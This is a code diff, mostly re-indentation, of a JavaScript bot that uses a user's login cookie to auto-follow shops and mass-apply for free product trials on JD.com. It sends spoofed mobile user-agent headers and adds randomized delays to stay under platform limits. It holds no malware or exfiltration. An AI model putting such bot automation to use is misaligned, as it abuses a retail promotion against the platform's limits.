args.pageSize, typeMap[typeKey], '0') + } + } + } } function filterGoodList() { - console.log(`⏰ 过滤商品列表,当前共有${allGoodList.length}个商品`) - const now = Date.now() - const oneMoreDay = now + 2 * 24 * 60 * 60 * 1000 - allGoodList = allGoodList.filter(good => { - // 1. good 有问题 - // 2. good 距离结束不到10min - // 3. good 的结束时间大于两天 - // 4. good 的价格小于最小的限制 - // 5. good 的试用数量大于 maxSupplyCount, 视为垃圾商品 - if (!good || good.endTime < now + 10 * 60 * 1000 || good.endTime > oneMoreDay || good.jdPrice < args.minPrice) { - return false - } - for (let item of args.goodFilters) { - if (good.trialName.indexOf(item) != -1) return false - } - if (good.supplyCount > args.maxSupplyCount) { - return false - } - return true - }) - allGoodList = allGoodList.sort((a, b) => { - let endDayA = Math.trunc(a.endTime / (1000 * 3600 * 24)) - let endDayB = Math.trunc(b.endTime / (1000 * 3600 * 24)) - if (endDayA != endDayB) { - return endDayB - endDayA - } - if (a.activityType != b.activityType) { - return b.activityType - a.activityType - } - return b.jdPrice - a.jdPrice - }) + console.log(`⏰ 过滤商品列表,当前共有${allGoodList.length}个商品`) + const now = Date.now() + const oneMoreDay = now + 2 * 24 * 60 * 60 * 1000 + allGoodList = allGoodList.filter(good => { + // 1. good 有问题 + // 2. good 距离结束不到10min + // 3. good 的结束时间大于两天 + // 4. good 的价格小于最小的限制 + // 5. good 的试用数量大于 maxSupplyCount, 视为垃圾商品 + if (!good || good.endTime < now + 10 * 60 * 1000 || good.endTime > oneMoreDay || good.jdPrice < args.minPrice) { + return false + } + for (let item of args.goodFilters) { + if (good.trialName.indexOf(item) != -1) return false + } + if (good.supplyCount > args.maxSupplyCount) { + return false + } + return true + }) + allGoodList = allGoodList.sort((a, b) => { + let endDayA = Math.trunc(a.endTime / (1000 * 3600 * 24)) + let endDayB = Math.trunc(b.endTime / (1000 * 3600 * 24)) + if (endDayA != endDayB) { + return endDayB - endDayA + } + if (a.activityType != b.activityType) { + return b.activityType - a.activityType + } + return b.jdPrice - a.jdPrice + }) } async function getApplyStateByActivityIds() { - function opt(list) { - let ids = [] - list.forEach(good => ids.push(good.id)) - return new Promise((resolve, reject) => { - $.get(taskurl(`${selfDomain}/getApplyStateByActivityIds?activityIds=${ids.join(',')}`), (err, resp, data) => { - try { - if (err) { - console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) - } else { - data = JSON.parse(data) - ids.length = 0 - for (let apply of data) ids.push(apply.activityId) - } - } catch (e) { - reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) - } finally { - resolve(ids) - } - }) - }) - } + function opt(list) { + let ids = [] + list.forEach(good => ids.push(good.id)) + return new Promise((resolve, reject) => { + $.get(taskurl(`${selfDomain}/getApplyStateByActivityIds?activityIds=${ids.join(',')}`), (err, resp, data) => { + try { + if (err) { + console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) + } else { + data = JSON.parse(data) + ids.length = 0 + for (let apply of data) ids.push(apply.activityId) + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve(ids) + } + }) + }) + } - $.goodList = [] - for (let start = 0, end = args.pageSize; start < allGoodList.length; start = end, end += args.pageSize) { - let list = allGoodList.slice(start, end) - let applied = await opt(list) - $.goodList = $.goodList.concat(list.filter(good => { - for (let id of applied) { - if (id == good.id) { - return false - } - } - return true - })) - if ($.goodList.length >= 350) break - } + $.goodList = [] + for (let start = 0, end = args.pageSize; start < allGoodList.length; start = end, end += args.pageSize) { + let list = allGoodList.slice(start, end) + let applied = await opt(list) + $.goodList = $.goodList.concat(list.filter(good => { + for (let id of applied) { + if (id == good.id) { + return false + } + } + return true + })) + if ($.goodList.length >= 350) break + } } function canTry(good) { - return new Promise((resolve, reject) => { - let ret = false - $.get(taskurl(`${selfDomain}/activity?id=${good.id}`), (err, resp, data) => { - try { - if (err) { - console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) - } else { - ret = data.indexOf('trySku') != -1 - let result = data.match(/"shopId":(\d+)/) - if (result) { - good.shopId = eval(result[1]) - } - } - } catch (e) { - reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) - } finally { - resolve(ret) - } - }) - }) + return new Promise((resolve, reject) => { + let ret = false + $.get(taskurl(`${selfDomain}/activity?id=${good.id}`), (err, resp, data) => { + try { + if (err) { + console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) + } else { + ret = data.indexOf('trySku') != -1 + let result = data.match(/"shopId":(\d+)/) + if (result) { + good.shopId = eval(result[1]) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve(ret) + } + }) + }) } function isFollowed(good) { - return new Promise((resolve, reject) => { - $.get(taskurl(`${selfDomain}/isFollowed?id=${good.shopId}`, good.id), (err, resp, data) => { - try { - if (err) { - console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) - } else { - data = JSON.parse(data) - resolve(data.success && data.data) - } - } catch (e) { - reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) - } finally { - resolve(false) - } - }) - }) + return new Promise((resolve, reject) => { + $.get(taskurl(`${selfDomain}/isFollowed?id=${good.shopId}`, good.id), (err, resp, data) => { + try { + if (err) { + console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) + } else { + data = JSON.parse(data) + resolve(data.success && data.data) + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve(false) + } + }) + }) } function followShop(good) { - return new Promise((resolve, reject) => { - $.get(taskurl(`${selfDomain}/followShop?id=${good.shopId}`, good.id), (err, resp, data) => { - try { - if (err) { - console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) - } else { - data = JSON.parse(data) - if (data.code == 'F0410') { - $.running = false - $.stopMsg = data.msg || "关注数超过上限了哦~先清理下关注列表吧" - } - resolve(data.success && data.data) - } - } catch (e) { - reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) - } finally { - resolve(false) - } - }) - }) + return new Promise((resolve, reject) => { + $.get(taskurl(`${selfDomain}/followShop?id=${good.shopId}`, good.id), (err, resp, data) => { + try { + if (err) { + console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) + } else { + data = JSON.parse(data) + if (data.code == 'F0410') { + $.running = false + $.stopMsg = data.msg || "关注数超过上限了哦~先清理下关注列表吧" + } + resolve(data.success && data.data) + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve(false) + } + }) + }) } async function tryGoodList() { - console.log(`⏰ 即将申请 ${$.goodList.length} 个商品`) - $.running = true - $.stopMsg = '申请完毕' - for (let i = 0; i < $.goodList.length && $.running; i++) { - let good = $.goodList[i] - if (!await canTry(good)) continue - // 如果没有关注且关注失败 - if (good.shopId && !await isFollowed(good) && !await followShop(good)) continue - // 两个申请间隔不能太短,放在下面有利于确保 follwShop 完成 - await $.wait(Math.floor(Math.random() * 2000 + args.applyInterval)) - // 关注完毕,即将试用 - await doTry(good) - } + console.log(`⏰ 即将申请 ${$.goodList.length} 个商品`) + $.running = true + $.stopMsg = '申请完毕' + for (let i = 0; i < $.goodList.length && $.running; i++) { + let good = $.goodList[i] + if (!await canTry(good)) continue + // 如果没有关注且关注失败 + if (good.shopId && !await isFollowed(good) && !await followShop(good)) continue + // 两个申请间隔不能太短,放在下面有利于确保 follwShop 完成 + await $.wait(Math.floor(Math.random() * 2000 + args.applyInterval)) + // 关注完毕,即将试用 + await doTry(good) + } } async function doTry(good) { - return new Promise((resolve, reject) => { - $.get(taskurl(`${selfDomain}/migrate/apply?activityId=${good.id}&source=1&_s=m`, good.id), (err, resp, data) => { - try { - if (err) { - console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) - } else { - data = JSON.parse(data) - if (data.success) { - $.totalTry += 1 - console.log(`🥳 ${good.id} 🛒${good.trialName.substr(0, 15)}🛒 ${data.message}`) - } else if (data.code == '-131') { // 每日300个商品 - $.stopMsg = data.message - $.running = false - } else { - console.log(`🤬 ${good.id} 🛒${good.trialName.substr(0, 15)}🛒 ${JSON.stringify(data)}`) - } - } - } catch (e) { - reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) - } finally { - resolve() - } - }) - }) + return new Promise((resolve, reject) => { + $.get(taskurl(`${selfDomain}/migrate/apply?activityId=${good.id}&source=1&_s=m`, good.id), (err, resp, data) => { + try { + if (err) { + console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) + } else { + data = JSON.parse(data) + if (data.success) { + $.totalTry += 1 + console.log(`🥳 ${good.id} 🛒${good.trialName.substr(0, 15)}🛒 ${data.message}`) + } else if (data.code == '-131') { // 每日300个商品 + $.stopMsg = data.message + $.running = false + } else { + console.log(`🤬 ${good.id} 🛒${good.trialName.substr(0, 15)}🛒 ${JSON.stringify(data)}`) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) } async function getSuccessList() { - // 一页12个商品,不会吧不会吧,不会有人一次性中奖12个商品吧?!🤔 - return new Promise((resolve, reject) => { - const option = { - url: `https://try.jd.com/my/tryList?selected=2&page=1&tryVersion=2&_s=m`, - headers: { - 'Host': 'try.jd.com', - 'Connection': 'keep-alive', - 'UserAgent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', - 'Accept': '*/*', - 'Referer': 'https://try.m.jd.com/', - 'Accept-Encoding': 'gzip, deflate, br', - 'Accept-Language': 'zh,zh-CN;q=0.9,en;q=0.8', - 'Cookie': $.cookie - } - } - $.get(option, (err, resp, data) => { - try { - if (err) { - console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) - } else { - data = JSON.parse(data) - if (data.success && data.data) { - $.successList = data.data.data.filter(item => { - return item.text.text.indexOf('请尽快领取') != -1 - }) - } else { - console.log(`💩 获得成功列表失败: ${data.message}`) - } - } - } catch (e) { - reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) - } finally { - resolve() - } - }) - }) + // 一页12个商品,不会吧不会吧,不会有人一次性中奖12个商品吧?!🤔 + return new Promise((resolve, reject) => { + const option = { + url: `https://try.jd.com/my/tryList?selected=2&page=1&tryVersion=2&_s=m`, + headers: { + 'Host': 'try.jd.com', + 'Connection': 'keep-alive', + 'UserAgent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Accept': '*/*', + 'Referer': 'https://try.m.jd.com/', + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh,zh-CN;q=0.9,en;q=0.8', + 'Cookie': $.cookie + } + } + $.get(option, (err, resp, data) => { + try { + if (err) { + console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) + } else { + data = JSON.parse(data) + if (data.success && data.data) { + $.successList = data.data.data.filter(item => { + return item.text.text.indexOf('请尽快领取') != -1 + }) + } else { + console.log(`💩 获得成功列表失败: ${data.message}`) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) } async function showMsg() { - let message = `京东账号${$.index} ${$.nickName || $.UserName}\n🎉 本次申请:${$.totalTry}/${$.totalGoods}个商品🛒\n🎉 ${$.successList.length}个商品待领取🤩\n🎉 结束原因:${$.stopMsg}` - if (!args.jdNotify || args.jdNotify === 'false') { - $.msg($.name, ``, message, { - "open-url": 'https://try.m.jd.com/user' - }) - if ($.isNode()) - notifyMsg += `${message}\n\n` - } else { - console.log(message) - } + let message = `京东账号${$.index} ${$.nickName || $.UserName}\n🎉 本次申请:${$.totalTry}/${$.totalGoods}个商品🛒\n🎉 ${$.successList.length}个商品待领取🤩\n🎉 结束原因:${$.stopMsg}` + if (!args.jdNotify || args.jdNotify === 'false') { + $.msg($.name, ``, message, { + "open-url": 'https://try.m.jd.com/user' + }) + if ($.isNode()) + notifyMsg += `${message}\n\n` + } else { + console.log(message) + } } function taskurl(url, goodId) { - return { - 'url': url, - 'headers': { - 'Host': 'try.m.jd.com', - 'Accept-Encoding': 'gzip, deflate, br', - 'Cookie': $.cookie, - 'Connection': 'keep-alive', - 'Accept': '*/*', - 'UserAgent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', - 'Accept-Language': 'zh-cn', - 'Referer': goodId ? `https://try.m.jd.com/activity/?id=${goodId}` : undefined - }, - } + return { + 'url': url, + 'headers': { + 'Host': 'try.m.jd.com', + 'Accept-Encoding': 'gzip, deflate, br', + 'Cookie': $.cookie, + 'Connection': 'keep-alive', + 'Accept': '*/*', + 'UserAgent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Accept-Language': 'zh-cn', + 'Referer': goodId ? `https://try.m.jd.com/activity/?id=${goodId}` : undefined + }, + } } function totalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": $.cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - }, - "timeout": 10000, - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) } function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } } // 来自 @chavyleung 大佬 // https://raw.githubusercontent.com/chavyleung/scripts/master/Env.js function Env(name, opts) { - class Http { - constructor(env) { - this.env = env - } + class Http { + constructor(env) { + this.env = env + } - send(opts, method = 'GET') { - opts = typeof opts === 'string' ? { - url: opts - } : opts - let sender = this.get - if (method === 'POST') { - sender = this.post - } - return new Promise((resolve, reject) => { - sender.call(this, opts, (err, resp, body) => { - if (err) reject(err) - else resolve(resp) - }) - }) - } + send(opts, method = 'GET') { + opts = typeof opts === 'string' ? { + url: opts + } : opts + let sender = this.get + if (method === 'POST') { + sender = this.post + } + return new Promise((resolve, reject) => { + sender.call(this, opts, (err, resp, body) => { + if (err) reject(err) + else resolve(resp) + }) + }) + } - get(opts) { - return this.send.call(this.env, opts) - } + get(opts) { + return this.send.call(this.env, opts) + } - post(opts) { - return this.send.call(this.env, opts, 'POST') - } - } + post(opts) { + return this.send.call(this.env, opts, 'POST') + } + } - return new (class { - constructor(name, opts) { - this.name = name - this.http = new Http(this) - this.data = null - this.dataFile = 'box.dat' - this.logs = [] - this.isMute = false - this.isNeedRewrite = false - this.logSeparator = '\n' - this.startTime = new Date().getTime() - Object.assign(this, opts) - this.log('', `🔔${this.name}, 开始!`) - } + return new (class { + constructor(name, opts) { + this.name = name + this.http = new Http(this) + this.data = null + this.dataFile = 'box.dat' + this.logs = [] + this.isMute = false + this.isNeedRewrite = false + this.logSeparator = '\n' + this.startTime = new Date().getTime() + Object.assign(this, opts) + this.log('', `🔔${this.name}, 开始!`) + } - isNode() { - return 'undefined' !== typeof module && !!module.exports - } + isNode() { + return 'undefined' !== typeof module && !!module.exports + } - isQuanX() { - return 'undefined' !== typeof $task - } + isQuanX() { + return 'undefined' !== typeof $task + } - isSurge() { - return 'undefined' !== typeof $httpClient && 'undefined' === typeof $loon - } + isSurge() { + return 'undefined' !== typeof $httpClient && 'undefined' === typeof $loon + } - isLoon() { - return 'undefined' !== typeof $loon - } + isLoon() { + return 'undefined' !== typeof $loon + } - toObj(str, defaultValue = null) { - try { - return JSON.parse(str) - } catch { - return defaultValue - } - } + toObj(str, defaultValue = null) { + try { + return JSON.parse(str) + } catch { + return defaultValue + } + } - toStr(obj, defaultValue = null) { - try { - return JSON.stringify(obj) - } catch { - return defaultValue - } - } + toStr(obj, defaultValue = null) { + try { + return JSON.stringify(obj) + } catch { + return defaultValue + } + } - getjson(key, defaultValue) { - let json = defaultValue - const val = this.getdata(key) - if (val) { - try { - json = JSON.parse(this.getdata(key)) - } catch { } - } - return json - } + getjson(key, defaultValue) { + let json = defaultValue + const val = this.getdata(key) + if (val) { + try { + json = JSON.parse(this.getdata(key)) + } catch { } + } + return json + } - setjson(val, key) { - try { - return this.setdata(JSON.stringify(val), key) - } catch { - return false - } - } + setjson(val, key) { + try { + return this.setdata(JSON.stringify(val), key) + } catch { + return false + } + } - getScript(url) { - return new Promise((resolve) => { - this.get({ - url - }, (err, resp, body) => resolve(body)) - }) - } + getScript(url) { + return new Promise((resolve) => { + this.get({ + url + }, (err, resp, body) => resolve(body)) + }) + } - runScript(script, runOpts) { - return new Promise((resolve) => { - let httpapi = this.getdata('@chavy_boxjs_userCfgs.httpapi') - httpapi = httpapi ? httpapi.replace(/\n/g, '').trim() : httpapi - let httpapi_timeout = this.getdata('@chavy_boxjs_userCfgs.httpapi_timeout') - httpapi_timeout = httpapi_timeout ? httpapi_timeout * 1 : 20 - httpapi_timeout = runOpts && runOpts.timeout ? runOpts.timeout : httpapi_timeout - const [key, addr] = httpapi.split('@') - const opts = { - url: `http://${addr}/v1/scripting/evaluate`, - body: { - script_text: script, - mock_type: 'cron', - timeout: httpapi_timeout - }, - headers: { - 'X-Key': key, - 'Accept': '*/*' - } - } - this.post(opts, (err, resp, body) => resolve(body)) - }).catch((e) => this.logErr(e)) - } + runScript(script, runOpts) { + return new Promise((resolve) => { + let httpapi = this.getdata('@chavy_boxjs_userCfgs.httpapi') + httpapi = httpapi ? httpapi.replace(/\n/g, '').trim() : httpapi + let httpapi_timeout = this.getdata('@chavy_boxjs_userCfgs.httpapi_timeout') + httpapi_timeout = httpapi_timeout ? httpapi_timeout * 1 : 20 + httpapi_timeout = runOpts && runOpts.timeout ? runOpts.timeout : httpapi_timeout + const [key, addr] = httpapi.split('@') + const opts = { + url: `http://${addr}/v1/scripting/evaluate`, + body: { + script_text: script, + mock_type: 'cron', + timeout: httpapi_timeout + }, + headers: { + 'X-Key': key, + 'Accept': '*/*' + } + } + this.post(opts, (err, resp, body) => resolve(body)) + }).catch((e) => this.logErr(e)) + } - loaddata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require('fs') - this.path = this.path ? this.path : require('path') - const curDirDataFilePath = this.path.resolve(this.dataFile) - const rootDirDataFilePath = this.path.resolve(process.cwd(), this.dataFile) - const isCurDirDataFile = this.fs.existsSync(curDirDataFilePath) - const isRootDirDataFile = !isCurDirDataFile && this.fs.existsSync(rootDirDataFilePath) - if (isCurDirDataFile || isRootDirDataFile) { - const datPath = isCurDirDataFile ? curDirDataFilePath : rootDirDataFilePath - try { - return JSON.parse(this.fs.readFileSync(datPath)) - } catch (e) { - return {} - } - } else return {} - } else return {} - } + loaddata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require('fs') + this.path = this.path ? this.path : require('path') + const curDirDataFilePath = this.path.resolve(this.dataFile) + const rootDirDataFilePath = this.path.resolve(process.cwd(), this.dataFile) + const isCurDirDataFile = this.fs.existsSync(curDirDataFilePath) + const isRootDirDataFile = !isCurDirDataFile && this.fs.existsSync(rootDirDataFilePath) + if (isCurDirDataFile || isRootDirDataFile) { + const datPath = isCurDirDataFile ? curDirDataFilePath : rootDirDataFilePath + try { + return JSON.parse(this.fs.readFileSync(datPath)) + } catch (e) { + return {} + } + } else return {} + } else return {} + } - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require('fs') - this.path = this.path ? this.path : require('path') - const curDirDataFilePath = this.path.resolve(this.dataFile) - const rootDirDataFilePath = this.path.resolve(process.cwd(), this.dataFile) - const isCurDirDataFile = this.fs.existsSync(curDirDataFilePath) - const isRootDirDataFile = !isCurDirDataFile && this.fs.existsSync(rootDirDataFilePath) - const jsondata = JSON.stringify(this.data) - if (isCurDirDataFile) { - this.fs.writeFileSync(curDirDataFilePath, jsondata) - } else if (isRootDirDataFile) { - this.fs.writeFileSync(rootDirDataFilePath, jsondata) - } else { - this.fs.writeFileSync(curDirDataFilePath, jsondata) - } - } - } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require('fs') + this.path = this.path ? this.path : require('path') + const curDirDataFilePath = this.path.resolve(this.dataFile) + const rootDirDataFilePath = this.path.resolve(process.cwd(), this.dataFile) + const isCurDirDataFile = this.fs.existsSync(curDirDataFilePath) + const isRootDirDataFile = !isCurDirDataFile && this.fs.existsSync(rootDirDataFilePath) + const jsondata = JSON.stringify(this.data) + if (isCurDirDataFile) { + this.fs.writeFileSync(curDirDataFilePath, jsondata) + } else if (isRootDirDataFile) { + this.fs.writeFileSync(rootDirDataFilePath, jsondata) + } else { + this.fs.writeFileSync(curDirDataFilePath, jsondata) + } + } + } - lodash_get(source, path, defaultValue = undefined) { - const paths = path.replace(/\[(\d+)\]/g, '.$1').split('.') - let result = source - for (const p of paths) { - result = Object(result)[p] - if (result === undefined) { - return defaultValue - } - } - return result - } + lodash_get(source, path, defaultValue = undefined) { + const paths = path.replace(/\[(\d+)\]/g, '.$1').split('.') + let result = source + for (const p of paths) { + result = Object(result)[p] + if (result === undefined) { + return defaultValue + } + } + return result + } - lodash_set(obj, path, value) { - if (Object(obj) !== obj) return obj - if (!Array.isArray(path)) path = path.toString().match(/[^.[\]]+/g) || [] - path - .slice(0, -1) - .reduce((a, c, i) => (Object(a[c]) === a[c] ? a[c] : (a[c] = Math.abs(path[i + 1]) >> 0 === +path[i + 1] ? [] : {})), obj)[ - path[path.length - 1] - ] = value - return obj - } + lodash_set(obj, path, value) { + if (Object(obj) !== obj) return obj + if (!Array.isArray(path)) path = path.toString().match(/[^.[\]]+/g) || [] + path + .slice(0, -1) + .reduce((a, c, i) => (Object(a[c]) === a[c] ? a[c] : (a[c] = Math.abs(path[i + 1]) >> 0 === +path[i + 1] ? [] : {})), obj)[ + path[path.length - 1] + ] = value + return obj + } - getdata(key) { - let val = this.getval(key) - // 如果以 @ - if (/^@/.test(key)) { - const [, objkey, paths] = /^@(.*?)\.(.*?)$/.exec(key) - const objval = objkey ? this.getval(objkey) : '' - if (objval) { - try { - const objedval = JSON.parse(objval) - val = objedval ? this.lodash_get(objedval, paths, '') : val - } catch (e) { - val = '' - } - } - } - return val - } + getdata(key) { + let val = this.getval(key) + // 如果以 @ + if (/^@/.test(key)) { + const [, objkey, paths] = /^@(.*?)\.(.*?)$/.exec(key) + const objval = objkey ? this.getval(objkey) : '' + if (objval) { + try { + const objedval = JSON.parse(objval) + val = objedval ? this.lodash_get(objedval, paths, '') : val + } catch (e) { + val = '' + } + } + } + return val + } - setdata(val, key) { - let issuc = false - if (/^@/.test(key)) { - const [, objkey, paths] = /^@(.*?)\.(.*?)$/.exec(key) - const objdat = this.getval(objkey) - const objval = objkey ? (objdat === 'null' ? null : objdat || '{}') : '{}' - try { - const objedval = JSON.parse(objval) - this.lodash_set(objedval, paths, val) - issuc = this.setval(JSON.stringify(objedval), objkey) - } catch (e) { - const objedval = {} - this.lodash_set(objedval, paths, val) - issuc = this.setval(JSON.stringify(objedval), objkey) - } - } else { - issuc = this.setval(val, key) - } - return issuc - } + setdata(val, key) { + let issuc = false + if (/^@/.test(key)) { + const [, objkey, paths] = /^@(.*?)\.(.*?)$/.exec(key) + const objdat = this.getval(objkey) + const objval = objkey ? (objdat === 'null' ? null : objdat || '{}') : '{}' + try { + const objedval = JSON.parse(objval) + this.lodash_set(objedval, paths, val) + issuc = this.setval(JSON.stringify(objedval), objkey) + } catch (e) { + const objedval = {} + this.lodash_set(objedval, paths, val) + issuc = this.setval(JSON.stringify(objedval), objkey) + } + } else { + issuc = this.setval(val, key) + } + return issuc + } - getval(key) { - if (this.isSurge() || this.isLoon()) { - return $persistentStore.read(key) - } else if (this.isQuanX()) { - return $prefs.valueForKey(key) - } else if (this.isNode()) { - this.data = this.loaddata() - return this.data[key] - } else { - return (this.data && this.data[key]) || null - } - } + getval(key) { + if (this.isSurge() || this.isLoon()) { + return $persistentStore.read(key) + } else if (this.isQuanX()) { + return $prefs.valueForKey(key) + } else if (this.isNode()) { + this.data = this.loaddata() + return this.data[key] + } else { + return (this.data && this.data[key]) || null + } + } - setval(val, key) { - if (this.isSurge() || this.isLoon()) { - return $persistentStore.write(val, key) - } else if (this.isQuanX()) { - return $prefs.setValueForKey(val, key) - } else if (this.isNode()) { - this.data = this.loaddata() - this.data[key] = val - this.writedata() - return true - } else { - return (this.data && this.data[key]) || null - } - } + setval(val, key) { + if (this.isSurge() || this.isLoon()) { + return $persistentStore.write(val, key) + } else if (this.isQuanX()) { + return $prefs.setValueForKey(val, key) + } else if (this.isNode()) { + this.data = this.loaddata() + this.data[key] = val + this.writedata() + return true + } else { + return (this.data && this.data[key]) || null + } + } - initGotEnv(opts) { - this.got = this.got ? this.got : require('got') - this.cktough = this.cktough ? this.cktough : require('tough-cookie') - this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar() - if (opts) { - opts.headers = opts.headers ? opts.headers : {} - if (undefined === opts.headers.Cookie && undefined === opts.cookieJar) { - opts.cookieJar = this.ckjar - } - } - } + initGotEnv(opts) { + this.got = this.got ? this.got : require('got') + this.cktough = this.cktough ? this.cktough : require('tough-cookie') + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar() + if (opts) { + opts.headers = opts.headers ? opts.headers : {} + if (undefined === opts.headers.Cookie && undefined === opts.cookieJar) { + opts.cookieJar = this.ckjar + } + } + } - get(opts, callback = () => { }) { - if (opts.headers) { - delete opts.headers['Content-Type'] - delete opts.headers['Content-Length'] - } - if (this.isSurge() || this.isLoon()) { - if (this.isSurge() && this.isNeedRewrite) { - opts.headers = opts.headers || {} - Object.assign(opts.headers, { - 'X-Surge-Skip-Scripting': false - }) - } - $httpClient.get(opts, (err, resp, body) => { - if (!err && resp) { - resp.body = body - resp.statusCode = resp.status - } - callback(err, resp, body) - }) - } else if (this.isQuanX()) { - if (this.isNeedRewrite) { - opts.opts = opts.opts || {} - Object.assign(opts.opts, { - 